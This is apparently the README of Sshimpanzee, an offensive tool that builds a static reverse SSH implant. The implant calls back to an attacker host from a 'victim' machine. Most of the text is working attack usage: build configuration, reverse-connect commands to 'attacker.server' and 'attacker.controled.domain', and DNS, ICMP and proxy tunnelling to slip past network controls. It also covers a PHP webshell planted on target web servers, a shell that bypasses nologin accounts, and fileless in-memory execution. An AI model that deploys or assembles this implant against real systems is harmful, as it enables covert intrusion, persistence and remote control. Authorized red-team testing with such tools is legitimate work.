Sshimpanzee

Sshimpanzee allows you to build a static reverse ssh server. Instead of listening on a port and waiting for connections, the ssh server will initiate a reverse connect to attacker's ip, just like a regular reverse shell. Sshimpanzee allows you to take advantage of every features of a regular ssh connection, like port forwards, dynamic socks proxies, or FTP server.

More importantly, if a direct connection from the victim machine to the attacker server is not possible, it provides different tunnelling mecanisms such as DNS Tunnelling, ICMP Tunnelling, or HTTP Encapsulation. It also supports HTTP and SOCKS5 proxies. A technical paper is available on lexfo's blog.

DOCKER BUILD - RECOMMENDED

sudo docker build . --output . 
sudo docker build . --platform arm64 --output . 

You might need to enable env var DOCKER_BUILDKIT=1

Compilation file

Build is made based on the build.yaml file:

###
# This is sshimpanzee build configuration file
# YAML is used to describe what behaviour and feature should the sshimpanzee get
###

### General config

process_name: "sshimpanzee" # Name of the process as it appears in ps (yet you won't be able to kill it with this name)


banner: True # Should the banner be displayed at log
verbose: 3 # Verbosity level as written in build/build.log

shell: "/bin/sh" # Default shell to pop for user, bypassing /etc/passwd entries with false or nologin as shell
timer: 60*1000*1000  # Time in milliseconds before a new sshimpanzee child is forked after exiting. For example in sock MODE, a new sshd connection will be made 1 minute after the previous one is dead

keygen: True # Re generate keys during build, insure a new HOST and CLIENT keys is used
public_key: #if new keys are not regenerated it is possible to specify a public client key to authenticate (only ed25519 keys are supported)
#public key: "ssh-ed25519 .... ROGUE@ROGUE"

make: True # Keep it to true if you want the builder script to generate sshd binary
force_clean_build: True #Currently required for docker builds, will force builder script to recompile tunnels and dependances
reconf: True # Required for docker builds


### Environment
# sshimpanzee is configured at runtime through environment variables, yet, it is possible to preset environment variable, to get a default behavior


env:
  if_not_set : # Variable here will be set if they do not already exists
    REMOTE: 127.0.0.1
    PORT: 8080
    MODE: sock # MODE environment variable is used to manage the default tunnel
  overwrite: # Variable here will overwrite already existent 
    

### Tunnels
# sshimpanzee come with different tunneling mecanisms
# To speed up compilation time, and more importantly to get a lighter binary it is possible to include or exclude some tunnels
# Tunnel compilation parameters can be specified here 
tun:
  sock:
      enabled: True

  icmp:
      enabled: True
      buildserv: True # should the corresponding ICMPTunnel server be built 
      raw_sock: False # build with support for raw sock for older kernels

  http_enc :
      enabled: True
      key: # web shell key, empty will result in a new key being generated
      target:
        - "php" # list of language you want to generate webshells for 
      path_fd: "/dev/shm/sshim" # Fifo that sshimpanzee will use to communicate with webshells

  dns:
      enabled: True    
      resource: sshimpanzee # DNS2TCP Resource
      key: sshimpanzee # DNS2TCP key
      obfuscate: True # obfuscating DNS2TCP Magic string, this will force the build of the corresponding srver
      buildserv: False 
      qtype: TXT # Type of query used by DNS2TCP

  proxysock:
      enabled: True

  no_build:
      enabled: False 
      path: []

# Openssh subsystems
# man sshd_config Subsystems

subsystems:

  internal_sftp: # standard sftp as provided by openssh 
    enabled: True # It is required for scp and sftp
    name: sftp
    exec: internal-sftp
    is_internal: True
    
  remote_exec: # Sshimpanzee custom subsystem
    enabled: True # remote execution using fileless memfd technique
    name: remote-exec
    exec: internal-remote-exec
    is_internal: True

  python: # example of a stadard ssh subsystem
    enabled: False
    name: python
    exec: /usr/bin/python -c "print('python code')"
    is_internal: False

Usage

At runtime, sshimpanzee binary is configured through environment variable. The MODE variable allows user to select between compiled tunnels. Every tunnels can be configured through environment variables. For example, to get a classic reverse connect to 127.0.0.1:8080 use the following:

MODE=socks REMOTE=127.0.0.1 PORT=8080 ./sshimpanzee

It is possible to run sshimpanzee in debug mode with -d. In debug mode sshimpanzee will stay in foreground.

Tunnels

Currently sshimpanzee support several ways for the implant to reach out to the attacker ssh client:

• DNS Tunnelling using dns2tcp protocol
• Proxy : HTTP/SOCKS4/SOCKS5
• Sockets : (might be usefull if you want to implement your own tunnels)
• ICMP tunnel
• HTTP Encapsulation

Sock Connection

1. Run ssh on client side as follow:

ssh anyrandomname@127.0.0.1 -oProxyCommand="nc -lp 8080" -i CLIENT

2. Run sshimpanzee on target :

MODE=sock REMOTE=127.0.0.1 PORT=8080 ./sshimpanzee 

Other examples :

MODE=sock REMOTE=127.0.0.1 PORT=8080 SSHIM_LISTEN= ./sshimpanzee  # bind and listen to 127.0.0.1:8080

MODE=sock UNIXPATH=/tmp/sock SSHIM_UNIX ./sshimpanzee # Connect to unix socket /tmp/sock
MODE=sock UNIXPATH=/tmp/sock SSHIM_UNIX= SSHIM_LISTEN= ./sshimpanzee # Bind and listen to /tmp/sock unix socket 

Connection through proxy

1. Run ssh on client side as follow:

ssh anyrandomname@127.0.0.1 -oProxyCommand="nc -lp 4444" -i CLIENT

2. Run sshimpanzee on target :

MODE=proxysock REMOTE=attacker.server PORT=4444 http_proxy=socks5://proxy.lan:8080 ./sshimpanzee

Other examples:

MODE=proxysock REMOTE=attacker.server PORT=4444 http_proxy=http://proxy.lan:8080 ./sshimpanzee
MODE=proxysock REMOTE=attacker.server PROXY_USER=user PROXY_PASS=password PORT=4444 http_proxy=http://proxy.lan:8080 ./sshimpanzee

Use DNS Tunneling

1. On your server run the standard dns2tcpd using the config file in this repo, you will need to modify the domain (and resource port if you want).

listen = 0.0.0.0
port = 53
user = nobody
key = sshimpanzee
chroot = /var/empty/dns2tcp/
domain = <SERVER>
resources = sshimpanzee:127.0.0.1:8080

sudo ./dns2tcpd -F -f dns2tcpdrc

2. Run ssh on client side as follow:

ssh anyrandomname@127.0.0.1 -oProxyCommand="nc -lp 8080" -i CLIENT

3. Run the sshimpanzee binary:

MODE=dns REMOTE=attacker.controled.domain ./sshimpanzee

Other examples :

MODE=dns REMOTE=attacker.controled.domain RESOLVER=8.8.8.8 ./sshimpanzee # Force the use of 8.8.8.8 DNS Resolver

Use ICMP Tunneling

1. Your server, add the correct capabilities to avoid running the proxycommand as root and disable ping response from the system

sudo setcap cap_net_raw+ep icmptunnel
echo 1 | sudo dd of=/proc/sys/net/ipv4/icmp_echo_ignore_all 

2. Run the standard ssh client with icmptunnel as proxycommand:

ssh i -oProxyCommand=./icmptunnel -i test/CLIENT 

3. Run the sshimpanzee binary:

MODE=icmp REMOTE=127.0.0.1 ./sshimpanzee 

Use HTTP Encapsulation (ssh -> http server -> sshd)

1. Upload the file /tuns/http_enc/proxy.php and sshd files to your target web server

2. Make sure proxy.php is correctly executed

3. Run sshd binary on the webserver

MODE=http_enc ./sshimpanzee 

4. run ssh on client machine with python script in utils/scripts/ as proxy command :

ssh -o ProxyCommand='python proxy_cli.py http://127.0.0.1:8080/proxy.php EncryptionKey 2>/dev/null' a@a -i ../../keys/CLIENT 

Multiple argument can be passed to proxy_cli.py to add proxies proxies. Currently only PHP is supported. On a JSP server, it is recommended to use: A Black Path Toward The Sun (ABPTTS)

Side notes about http Encapsulation

1. Proxy.php is a minimal webshell, you can use it to upload sshd to the server and run commands. proxy_cli.py offers --run and --drop options to do so.

2. You might experience a huge input lag, it is because a delay of 1 to 5 second is added to the packet sent by ssh client to prevent from generating to many http request. If you don't mind generating a lot of http request (thus a lot of logs on the web server) add the --no-buffer option to proxy_cli.py command.

Using the sshimpanzee client

This repo also provide a client located in utils/client/bin. Simply copy the CLIENT key in utils/client/keys/

sshimpanzee --new PORT #create a new listener on PORT
sshimpanzee --new-dns #create a new DNS listener (Don't forget to modify utils/client/config/dnsconf.txt)
sshimpanzee --new-icmp #create a new icmp listener
sshimpanzee --new-http PROXY_PHP_URL #create a new HTTP Session 

sshimpanzee --list #list availaible sessions

sshimpanzee --get SESSION_NUMBER #to jump into a session any extra parameters are passed as ssh params
sshimpanzee --rename SESSION_NUMBER #to rename a session
sshimpanzee --kill SESSION_NUMBER #to kill a session
sshimpanzee #use fzf to select which session you want

However it might be less reliable than using ssh directly.

Create your own tunnel mecanism

Every tunnels are available in the tuns/ directory. If you want to add another tunnel, simply add a function with the name of your tunnel in tuns/builder.py. This function is responsible to generate a libtun.a archive containing as many .o as necessary with one of them exporting a tun() symbole. Alternatively, you build the libtun.a yourself and use the tunnel called no_build, and provide the path to your custom libtun.a

Use the file less execution

If sshimpanzee is built with remote-exec subsystem module, it is possible to execute code remotely completely in memory.

python remote_loader.py "ssh -vvvv t@t -S ./SOCKET -s remote-exec" /home/titouan/tools/Misc/RustScan/target/release/rustscan -a 127.0.0.1

Future Work

• Add other tunnels :
  • HTTP Encapsulation (First step through http_enc and proxy.php : add JSP and other programs )
  • Userland TCP/IP Stack with raw sock ?
  • ICMP : Xor/Encrypt string to avoid detection in case of network analysis
  • Subsystem for post exploitation:
    • Procdump
    • TCP Scan

Thanks

This repository relies on a lot of different project.

• First of all, Openssh-portable (9.1) : https://github.com/openssh/openssh-portable
• The musl libc to build it statically : https://wiki.musl-libc.org/

For the tunnels:

• Dns2tcp : https://github.com/alex-sector/dns2tcp
• icmptunnel (heavily modified to improve tunnel resiliency) : https://github.com/DhavalKapil/icmptunnel.git
• Proxysocket : https://github.com/brechtsanders/proxysocket

It is important to note that it is not a very original project, weaponizing ssh protocol has already been done several years ago:

• https://github.com/Marc-andreLabonte/blackbear
• https://github.com/Fahrj/reverse-ssh
• https://github.com/NHAS/reverse_ssh